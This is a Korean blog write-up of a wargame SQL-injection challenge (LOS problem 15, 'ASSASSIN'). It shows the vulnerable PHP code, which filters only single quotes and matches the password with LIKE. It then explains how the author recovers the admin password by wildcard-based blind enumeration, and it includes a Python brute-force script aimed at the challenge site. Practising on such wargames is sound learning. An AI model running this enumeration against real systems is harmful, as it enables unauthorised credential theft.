ASSASSIN
15번 문제
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
// 싱글쿼터 필터링
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
pw가 $_GET[pw]인 레코드의 id를 select 하는 쿼리
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
$result['id']가 'admin'이면 문제 해결
highlight_file(__FILE__);
?>
코드를 보고 기본적인 두 가지 방법이 떠올랐다.
하나는 기본적인 sql injection 방식으로 싱글쿼터를 사용해서 pw like '' or id='admin' 과 같이 우회하는 방식이고,
다른 하나는 pw를 알아내는 방식이다.
= 을 쓰지 않고 like를 쓰는 걸 보니 와일드카드를 사용해서 비밀번호를 알아내는 문제인가 싶어 우선 두 번째 방법을 시도해 보았다.
SQL에서 _은 한 문자를 의미한다. id가 guest인 record의 pw는 8자리임을 알아냈다.
pw의 자리수를 7이하로 전부 해보았다.
이 때엔 Hello admin이 안 뜬다. 즉 admin의 pw는 8자리 이상이다.
9개의 _와 %를 입력했을 때에도 Hello admin이 안 뜬다.
즉 admin의 pw는 9자리 미만이다. admin의 pw는 8자리임을 알아냈다.
근데 이 이상 비밀번호를 알아낼 방법이 떠오르지 않았다.
어쩔 수 없이 아까 떠올렸던 필터링을 우회해서 싱글쿼터를 사용하는 방식을 시도해보기로 했다.
이전 문제에서 preg_match 함수를 우회했던 16진수로 변환하는 방식을 시도했다.
기존의 문자열과는 달리 싱글쿼터를 우회해야 하는 특수한 상황이라서 16진수를 문자열로 인식해 실패했다.
다른 방식을 찾아봤지만 이외에도 모두 실패했다. 어쩔 수 없이 다시 첫 번째 방식으로 풀기로 했다.
1부터 차례대로 해보았다.
guest의 pw가 8로 시작함을 알아냈다.
z까지 해보았는데 Hello admin이 나오지 않는다!
내가 문제를 잘 못 풀었나 생각이 들었다. 근데 생각해보니 pw의 자릿값이 동일하다면 Hello guest만 출력될 수 있으니 guest와 admin의 pw가 둘 다 8로 시작했을 가능성도 있었다.
Hello admin이 출력될 때까지 blind sql injection처럼 알아보기로 했다.
하나하나 해보기 귀찮으니 각 자리마다 모든 ascii 범위를 조사하는 파이썬 코드를 짰다.
"Hello ~~~"가 출력될 때의 ascii 값을 출력시키는데 만약 한 자리에서 두 개 이상의 값이 나온다면 이는 guest와 admin가 다른 값을 가지고 있다는 의미이므로 이에 맞게 코드를 짰다.
from urllib.parse import unquote
from bs4 import BeautifulSoup
import re
import requests
import sys
if __name__=="__main__":
for i in range(1, 9):
print("\n"+str(i)+"번째 자리 pw")
for j in range(48, 123) : # 아스키 코드의 범위
query = "_"*(i-1)+chr(j)+"%"
params = {"pw": unquote(query)}
cookies = {"PHPSESSID" : "oooti6amobpho067674nq6t514"}
response = requests.get('https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php', cookies = cookies, params = params)
html = response.text
soup = BeautifulSoup(html, 'html.parser')
if soup.select('h2') :
print(chr(j), end="")
if soup.find('h2').text in 'admin' :
sys.exit(0) # 작동 안 함!
3번째 자리부터 두 개 이상의 pw 값이 나온다.
guest, admin 둘 다 처음은 83으로 시작하지만 둘 중 하나는 832, 83d이므로 둘 다 한 번 해보았다.
admin은 832로 시작한다. 문제 해결.
당연히 guest는 83d로 시작함을 확인할 수 있다.
'wargame > LOS' 카테고리의 다른 글
[LOS]17번 SUCCUBUS (0) | 2019.08.09 |
---|---|
[LOS]16번 ZOMBIE ASSASSIN (0) | 2019.08.09 |
[LOS]14번 GIANT (0) | 2019.08.06 |
[LOS]13번 BUGBEAR (0) | 2019.08.06 |
[LOS]12번 DARKNIGHT (0) | 2019.08.02 |